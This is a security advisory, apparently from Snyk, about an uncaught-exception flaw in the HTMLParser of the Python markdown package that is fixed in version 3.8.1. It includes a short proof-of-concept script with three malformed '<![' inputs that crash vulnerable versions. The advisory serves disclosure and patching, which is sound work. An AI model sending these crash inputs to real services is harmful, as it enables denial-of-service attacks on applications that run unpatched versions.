Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade markdown to version 3.8.1 or higher.
Affected versions of this package are vulnerable to Uncaught Exception via the HTMLParser component. An attacker can cause application crashes or potentially disclose information by submitting specially crafted, malformed HTML-like sequences in Markdown input.
import markdown
print(markdown.__version__)
crash_inputs = [
"<![",
"<![>og))/uw_ f{tv+pAr$Ss+[6;^{=<:>g2oV|.pdTMu(Q-E#",
"<![ g'\"7z5r7cojSO;2LAo0(1Vv5G>,-P",
]
for i, crash_input in enumerate(crash_inputs, 1):
print(f"\nTesting crash input #{i}:\n{repr(crash_input)}")
try:
output = markdown.markdown(crash_input, extensions=["extra"])
print("No crash, output:")
print(output)
except Exception as e:
print(f"Crash confirmed! Exception:\n{e}")